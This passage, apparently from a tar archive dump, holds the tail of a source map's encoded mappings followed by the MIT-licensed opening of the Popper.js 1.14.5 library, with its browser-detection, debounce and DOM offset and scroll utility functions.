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"}popper.js000064400000244207151677356750006446 0ustar00/**!
 * @fileOverview Kickass library to create and place poppers near their reference elements.
 * @version 1.14.5
 * @license
 * Copyright (c) 2016 Federico Zivolo and contributors
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 */
var isBrowser = typeof window !== 'undefined' && typeof document !== 'undefined';

const longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];
let timeoutDuration = 0;
for (let i = 0; i < longerTimeoutBrowsers.length; i += 1) {
  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {
    timeoutDuration = 1;
    break;
  }
}

function microtaskDebounce(fn) {
  let called = false;
  return () => {
    if (called) {
      return;
    }
    called = true;
    window.Promise.resolve().then(() => {
      called = false;
      fn();
    });
  };
}

function taskDebounce(fn) {
  let scheduled = false;
  return () => {
    if (!scheduled) {
      scheduled = true;
      setTimeout(() => {
        scheduled = false;
        fn();
      }, timeoutDuration);
    }
  };
}

const supportsMicroTasks = isBrowser && window.Promise;

/**
* Create a debounced version of a method, that's asynchronously deferred
* but called in the minimum time possible.
*
* @method
* @memberof Popper.Utils
* @argument {Function} fn
* @returns {Function}
*/
var debounce = supportsMicroTasks ? microtaskDebounce : taskDebounce;

/**
 * Check if the given variable is a function
 * @method
 * @memberof Popper.Utils
 * @argument {Any} functionToCheck - variable to check
 * @returns {Boolean} answer to: is a function?
 */
function isFunction(functionToCheck) {
  const getType = {};
  return functionToCheck && getType.toString.call(functionToCheck) === '[object Function]';
}

/**
 * Get CSS computed property of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Eement} element
 * @argument {String} property
 */
function getStyleComputedProperty(element, property) {
  if (element.nodeType !== 1) {
    return [];
  }
  // NOTE: 1 DOM access here
  const window = element.ownerDocument.defaultView;
  const css = window.getComputedStyle(element, null);
  return property ? css[property] : css;
}

/**
 * Returns the parentNode or the host of the element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} parent
 */
function getParentNode(element) {
  if (element.nodeName === 'HTML') {
    return element;
  }
  return element.parentNode || element.host;
}

/**
 * Returns the scrolling parent of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} scroll parent
 */
function getScrollParent(element) {
  // Return body, `getScroll` will take care to get the correct `scrollTop` from it
  if (!element) {
    return document.body;
  }

  switch (element.nodeName) {
    case 'HTML':
    case 'BODY':
      return element.ownerDocument.body;
    case '#document':
      return element.body;
  }

  // Firefox want us to check `-x` and `-y` variations as well
  const { overflow, overflowX, overflowY } = getStyleComputedProperty(element);
  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {
    return element;
  }

  return getScrollParent(getParentNode(element));
}

const isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);
const isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);

/**
 * Determines if the browser is Internet Explorer
 * @method
 * @memberof Popper.Utils
 * @param {Number} version to check
 * @returns {Boolean} isIE
 */
function isIE(version) {
  if (version === 11) {
    return isIE11;
  }
  if (version === 10) {
    return isIE10;
  }
  return isIE11 || isIE10;
}

/**
 * Returns the offset parent of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} offset parent
 */
function getOffsetParent(element) {
  if (!element) {
    return document.documentElement;
  }

  const noOffsetParent = isIE(10) ? document.body : null;

  // NOTE: 1 DOM access here
  let offsetParent = element.offsetParent || null;
  // Skip hidden elements which don't have an offsetParent
  while (offsetParent === noOffsetParent && element.nextElementSibling) {
    offsetParent = (element = element.nextElementSibling).offsetParent;
  }

  const nodeName = offsetParent && offsetParent.nodeName;

  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {
    return element ? element.ownerDocument.documentElement : document.documentElement;
  }

  // .offsetParent will return the closest TH, TD or TABLE in case
  // no offsetParent is present, I hate this job...
  if (['TH', 'TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 && getStyleComputedProperty(offsetParent, 'position') === 'static') {
    return getOffsetParent(offsetParent);
  }

  return offsetParent;
}

function isOffsetContainer(element) {
  const { nodeName } = element;
  if (nodeName === 'BODY') {
    return false;
  }
  return nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element;
}

/**
 * Finds the root node (document, shadowDOM root) of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} node
 * @returns {Element} root node
 */
function getRoot(node) {
  if (node.parentNode !== null) {
    return getRoot(node.parentNode);
  }

  return node;
}

/**
 * Finds the offset parent common to the two provided nodes
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element1
 * @argument {Element} element2
 * @returns {Element} common offset parent
 */
function findCommonOffsetParent(element1, element2) {
  // This check is needed to avoid errors in case one of the elements isn't defined for any reason
  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {
    return document.documentElement;
  }

  // Here we make sure to give as "start" the element that comes first in the DOM
  const order = element1.compareDocumentPosition(element2) & Node.DOCUMENT_POSITION_FOLLOWING;
  const start = order ? element1 : element2;
  const end = order ? element2 : element1;

  // Get common ancestor container
  const range = document.createRange();
  range.setStart(start, 0);
  range.setEnd(end, 0);
  const { commonAncestorContainer } = range;

  // Both nodes are inside #document
  if (element1 !== commonAncestorContainer && element2 !== commonAncestorContainer || start.contains(end)) {
    if (isOffsetContainer(commonAncestorContainer)) {
      return commonAncestorContainer;
    }

    return getOffsetParent(commonAncestorContainer);
  }

  // one of the nodes is inside shadowDOM, find which one
  const element1root = getRoot(element1);
  if (element1root.host) {
    return findCommonOffsetParent(element1root.host, element2);
  } else {
    return findCommonOffsetParent(element1, getRoot(element2).host);
  }
}

/**
 * Gets the scroll value of the given element in the given side (top and left)
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @argument {String} side `top` or `left`
 * @returns {number} amount of scrolled pixels
 */
function getScroll(element, side = 'top') {
  const upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';
  const nodeName = element.nodeName;

  if (nodeName === 'BODY' || nodeName === 'HTML') {
    const html = element.ownerDocument.documentElement;
    const scrollingElement = element.ownerDocument.scrollingElement || html;
    return scrollingElement[upperSide];
  }

  return element[upperSide];
}

/*
 * Sum or subtract the element scroll values (left and top) from a given rect object
 * @method
 * @memberof Popper.Utils
 * @param {Object} rect - Rect object you want to change
 * @param {HTMLElement} element - The element from the function reads the scroll values
 * @param {Boolean} subtract - set to true if you want to subtract the scroll values
 * @return {Object} rect - The modifier rect object
 */
function includeScroll(rect, element, subtract = false) {
  const scrollTop = getScroll(element, 'top');
  const scrollLeft = getScroll(element, 'left');
  const modifier = subtract ? -1 : 1;
  rect.top += scrollTop * modifier;
  rect.bottom += scrollTop * modifier;
  rect.left += scrollLeft * modifier;
  rect.right += scrollLeft * modifier;
  return rect;
}

/*
 * Helper to detect borders of a given element
 * @method
 * @memberof Popper.Utils
 * @param {CSSStyleDeclaration} styles
 * Result of `getStyleComputedProperty` on the given element
 * @param {String} axis - `x` or `y`
 * @return {number} borders - The borders size of the given axis
 */

function getBordersSize(styles, axis) {
  const sideA = axis === 'x' ? 'Left' : 'Top';
  const sideB = sideA === 'Left' ? 'Right' : 'Bottom';

  return parseFloat(styles[`border${sideA}Width`], 10) + parseFloat(styles[`border${sideB}Width`], 10);
}

function getSize(axis, body, html, computedStyle) {
  return Math.max(body[`offset${axis}`], body[`scroll${axis}`], html[`client${axis}`], html[`offset${axis}`], html[`scroll${axis}`], isIE(10) ? parseInt(html[`offset${axis}`]) + parseInt(computedStyle[`margin${axis === 'Height' ? 'Top' : 'Left'}`]) + parseInt(computedStyle[`margin${axis === 'Height' ? 'Bottom' : 'Right'}`]) : 0);
}

function getWindowSizes(document) {
  const body = document.body;
  const html = document.documentElement;
  const computedStyle = isIE(10) && getComputedStyle(html);

  return {
    height: getSize('Height', body, html, computedStyle),
    width: getSize('Width', body, html, computedStyle)
  };
}

var _extends = Object.assign || function (target) {
  for (var i = 1; i < arguments.length; i++) {
    var source = arguments[i];

    for (var key in source) {
      if (Object.prototype.hasOwnProperty.call(source, key)) {
        target[key] = source[key];
      }
    }
  }

  return target;
};

/**
 * Given element offsets, generate an output similar to getBoundingClientRect
 * @method
 * @memberof Popper.Utils
 * @argument {Object} offsets
 * @returns {Object} ClientRect like output
 */
function getClientRect(offsets) {
  return _extends({}, offsets, {
    right: offsets.left + offsets.width,
    bottom: offsets.top + offsets.height
  });
}

/**
 * Get bounding client rect of given element
 * @method
 * @memberof Popper.Utils
 * @param {HTMLElement} element
 * @return {Object} client rect
 */
function getBoundingClientRect(element) {
  let rect = {};

  // IE10 10 FIX: Please, don't ask, the element isn't
  // considered in DOM in some circumstances...
  // This isn't reproducible in IE10 compatibility mode of IE11
  try {
    if (isIE(10)) {
      rect = element.getBoundingClientRect();
      const scrollTop = getScroll(element, 'top');
      const scrollLeft = getScroll(element, 'left');
      rect.top += scrollTop;
      rect.left += scrollLeft;
      rect.bottom += scrollTop;
      rect.right += scrollLeft;
    } else {
      rect = element.getBoundingClientRect();
    }
  } catch (e) {}

  const result = {
    left: rect.left,
    top: rect.top,
    width: rect.right - rect.left,
    height: rect.bottom - rect.top
  };

  // subtract scrollbar size from sizes
  const sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};
  const width = sizes.width || element.clientWidth || result.right - result.left;
  const height = sizes.height || element.clientHeight || result.bottom - result.top;

  let horizScrollbar = element.offsetWidth - width;
  let vertScrollbar = element.offsetHeight - height;

  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`
  // we make this check conditional for performance reasons
  if (horizScrollbar || vertScrollbar) {
    const styles = getStyleComputedProperty(element);
    horizScrollbar -= getBordersSize(styles, 'x');
    vertScrollbar -= getBordersSize(styles, 'y');

    result.width -= horizScrollbar;
    result.height -= vertScrollbar;
  }

  return getClientRect(result);
}

function getOffsetRectRelativeToArbitraryNode(children, parent, fixedPosition = false) {
  const isIE10 = isIE(10);
  const isHTML = parent.nodeName === 'HTML';
  const childrenRect = getBoundingClientRect(children);
  const parentRect = getBoundingClientRect(parent);
  const scrollParent = getScrollParent(children);

  const styles = getStyleComputedProperty(parent);
  const borderTopWidth = parseFloat(styles.borderTopWidth, 10);
  const borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);

  // In cases where the parent is fixed, we must ignore negative scroll in offset calc
  if (fixedPosition && isHTML) {
    parentRect.top = Math.max(parentRect.top, 0);
    parentRect.left = Math.max(parentRect.left, 0);
  }
  let offsets = getClientRect({
    top: childrenRect.top - parentRect.top - borderTopWidth,
    left: childrenRect.left - parentRect.left - borderLeftWidth,
    width: childrenRect.width,
    height: childrenRect.height
  });
  offsets.marginTop = 0;
  offsets.marginLeft = 0;

  // Subtract margins of documentElement in case it's being used as parent
  // we do this only on HTML because it's the only element that behaves
  // differently when margins are applied to it. The margins are included in
  // the box of the documentElement, in the other cases not.
  if (!isIE10 && isHTML) {
    const marginTop = parseFloat(styles.marginTop, 10);
    const marginLeft = parseFloat(styles.marginLeft, 10);

    offsets.top -= borderTopWidth - marginTop;
    offsets.bottom -= borderTopWidth - marginTop;
    offsets.left -= borderLeftWidth - marginLeft;
    offsets.right -= borderLeftWidth - marginLeft;

    // Attach marginTop and marginLeft because in some circumstances we may need them
    offsets.marginTop = marginTop;
    offsets.marginLeft = marginLeft;
  }

  if (isIE10 && !fixedPosition ? parent.contains(scrollParent) : parent === scrollParent && scrollParent.nodeName !== 'BODY') {
    offsets = includeScroll(offsets, parent);
  }

  return offsets;
}

function getViewportOffsetRectRelativeToArtbitraryNode(element, excludeScroll = false) {
  const html = element.ownerDocument.documentElement;
  const relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);
  const width = Math.max(html.clientWidth, window.innerWidth || 0);
  const height = Math.max(html.clientHeight, window.innerHeight || 0);

  const scrollTop = !excludeScroll ? getScroll(html) : 0;
  const scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;

  const offset = {
